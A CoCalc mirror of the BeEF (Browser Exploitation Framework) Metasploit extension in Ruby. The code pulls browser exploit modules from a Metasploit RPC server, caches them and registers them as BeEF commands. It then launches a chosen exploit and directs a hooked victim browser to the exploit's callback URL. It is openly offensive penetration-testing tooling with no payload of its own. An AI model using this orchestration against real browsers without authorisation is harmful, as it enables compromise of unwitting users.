Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/extensions/metasploit/api.rb
1154 views
1
#
2
# Copyright (c) 2006-2025 Wade Alcorn - [email protected]
3
# Browser Exploitation Framework (BeEF) - https://beefproject.com
4
# See the file 'doc/COPYING' for copying permission
5
#
6
module BeEF
7
module Extension
8
module Metasploit
9
module API
10
module MetasploitHooks
11
BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Modules, 'post_soft_load')
12
BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Server, 'mount_handler')
13
14
# Load modules from metasploit just after all other module config is loaded
15
def self.post_soft_load
16
msf = BeEF::Extension::Metasploit::RpcClient.instance
17
18
timeout = 10
19
connected = false
20
Timeout.timeout(timeout) do
21
print_status("Connecting to Metasploit on #{BeEF::Core::Configuration.instance.get('beef.extension.metasploit.host')}:#{BeEF::Core::Configuration.instance.get('beef.extension.metasploit.port')}")
22
connected = msf.login
23
rescue Timeout::Error
24
return
25
end
26
27
return unless connected
28
29
msf_module_config = {}
30
path = "#{$root_dir}/#{BeEF::Core::Configuration.instance.get('beef.extension.metasploit.path')}/msf-exploits.cache"
31
if !BeEF::Core::Console::CommandLine.parse[:resetdb] && File.exist?(path)
32
print_debug 'Attempting to use Metasploit exploits cache file'
33
raw = File.read(path)
34
begin
35
msf_module_config = YAML.safe_load(raw)
36
rescue StandardError => e
37
print_error "[Metasploit] #{e.message}"
38
print_error e.backtrace
39
end
40
count = 1
41
msf_module_config.each do |k, _v|
42
BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'get_options', [k])
43
BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'get_payload_options', [k, nil])
44
BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'override_execute', [k, nil, nil])
45
print_over "Loaded #{count} Metasploit exploits."
46
count += 1
47
end
48
print "\r\n"
49
else
50
msf_modules = msf.call('module.exploits')
51
count = 1
52
msf_modules['modules'].each do |m|
53
next unless m.include? '/browser/'
54
55
m_details = msf.call('module.info', 'exploit', m)
56
next unless m_details
57
58
key = "msf_#{m.split('/').last}"
59
# system currently doesn't support multilevel categories
60
# categories = ['Metasploit']
61
# m.split('/')[0...-1].each{|c|
62
# categories.push(c.capitalize)
63
# }
64
65
if m_details['description'] =~ /Java|JVM|flash|Adobe/i
66
target_browser = { BeEF::Core::Constants::CommandModule::VERIFIED_USER_NOTIFY => ['ALL'] }
67
elsif m_details['description'] =~ /IE|Internet\s+Explorer/i
68
target_browser = { BeEF::Core::Constants::CommandModule::VERIFIED_WORKING => ['IE'] }
69
elsif m_details['description'] =~ /Firefox/i
70
target_browser = { BeEF::Core::Constants::CommandModule::VERIFIED_WORKING => ['FF'] }
71
elsif m_details['description'] =~ /Chrome/i
72
target_browser = { BeEF::Core::Constants::CommandModule::VERIFIED_WORKING => ['C'] }
73
elsif m_details['description'] =~ /Safari/i
74
target_browser = { BeEF::Core::Constants::CommandModule::VERIFIED_WORKING => ['S'] }
75
elsif m_details['description'] =~ /Opera/i
76
target_browser = { BeEF::Core::Constants::CommandModule::VERIFIED_WORKING => ['O'] }
77
end
78
79
# TODO:
80
# - Add support for detection of target OS
81
# - Add support for detection of target services (e.g. java, flash, silverlight, ...etc)
82
# - Add support for multiple target browsers as currently only 1 browser will match or all
83
84
msf_module_config[key] = {
85
'enable' => true,
86
'msf' => true,
87
'msf_key' => m,
88
'name' => m_details['name'],
89
'category' => 'Metasploit',
90
'description' => m_details['description'],
91
'authors' => m_details['references'],
92
'path' => path,
93
'class' => 'Msf_module',
94
'target' => target_browser
95
}
96
BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'get_options', [key])
97
BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'get_payload_options', [key, nil])
98
BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'override_execute', [key, nil, nil])
99
print_over "Loaded #{count} Metasploit exploits."
100
count += 1
101
end
102
print "\r\n"
103
File.open(path, 'w') do |f|
104
f.write(msf_module_config.to_yaml)
105
print_debug("Wrote Metasploit exploits to cache file: #{path}")
106
end
107
end
108
109
BeEF::Core::Configuration.instance.set('beef.module', msf_module_config)
110
end
111
112
# Get module options + payloads when the beef framework requests this information
113
def self.get_options(mod)
114
msf_key = BeEF::Core::Configuration.instance.get("beef.module.#{mod}.msf_key")
115
return if msf_key.nil?
116
117
msf = BeEF::Extension::Metasploit::RpcClient.instance
118
return unless msf.login
119
120
msf_module_options = msf.call('module.options', 'exploit', msf_key)
121
com = BeEF::Core::Models::CommandModule.where(name: mod).first
122
unless msf_module_options
123
print_error "Unable to retrieve metasploit options for exploit: #{msf_key}"
124
return
125
end
126
127
options = BeEF::Extension::Metasploit.translate_options(msf_module_options)
128
options << {
129
'name' => 'mod_id',
130
'id' => 'mod_id',
131
'type' => 'hidden',
132
'value' => com.id
133
}
134
135
msf_payload_options = msf.call('module.compatible_payloads', msf_key)
136
print_error "Unable to retrieve metasploit payloads for exploit: #{msf_key}" unless msf_payload_options
137
138
options << BeEF::Extension::Metasploit.translate_payload(msf_payload_options)
139
options
140
end
141
142
# Execute function for all metasploit exploits
143
def self.override_execute(mod, hbsession, opts)
144
msf = BeEF::Extension::Metasploit::RpcClient.instance
145
msf_key = BeEF::Core::Configuration.instance.get("beef.module.#{mod}.msf_key")
146
msf_opts = {}
147
148
opts.each do |opt|
149
next if %w[e ie_session and_module_id].include? opt['name']
150
151
msf_opts[opt['name']] = opt['value']
152
end
153
154
if !msf_key.nil? && msf.login
155
# Are the options correctly formatted for msf?
156
# This call has not been tested
157
msf.call('module.execute', 'exploit', msf_key, msf_opts)
158
end
159
160
hb = BeEF::HBManager.get_by_session(hbsession)
161
unless hb
162
print_error "Could not find hooked browser when attempting to execute module '#{mod}'"
163
return false
164
end
165
166
bopts = []
167
proto = msf_opts['SSL'] ? 'https' : 'http'
168
config = BeEF::Core::Configuration.instance.get('beef.extension.metasploit')
169
uri = "#{proto}://#{config['callback_host']}:#{msf_opts['SRVPORT']}/#{msf_opts['URIPATH']}"
170
171
bopts << { sploit_url: uri }
172
BeEF::Core::Models::Command.new(
173
data: bopts.to_json,
174
hooked_browser_id: hb.id,
175
command_module_id: BeEF::Core::Configuration.instance.get("beef.module.#{mod}.db.id"),
176
creationdate: Time.new.to_i
177
).save
178
179
# Still need to create command object to store a string saying "Exploit launched @ [time]", to ensure BeEF can keep track of
180
# which exploits where executed against which hooked browsers
181
true
182
end
183
184
# Get module options + payloads when the beef framework requests this information
185
def self.get_payload_options(mod, payload)
186
msf_key = BeEF::Core::Configuration.instance.get("beef.module.#{mod}.msf_key")
187
188
return if msf_key.nil?
189
190
msf = BeEF::Extension::Metasploit::RpcClient.instance
191
192
return unless msf.login
193
194
msf_module_options = msf.call('module.options', 'payload', payload)
195
196
if msf_module_options
197
BeEF::Extension::Metasploit.translate_options(msf_module_options)
198
else
199
print_error "Unable to retrieve metasploit payload options for exploit: #{msf_key}"
200
end
201
end
202
203
# Mounts the handler for processing Metasploit RESTful API requests.
204
#
205
# @param beef_server [BeEF::Core::Server] HTTP server instance
206
def self.mount_handler(beef_server)
207
beef_server.mount('/api/msf', BeEF::Extension::Metasploit::MsfRest.new)
208
end
209
end
210
end
211
end
212
end
213
end
214
215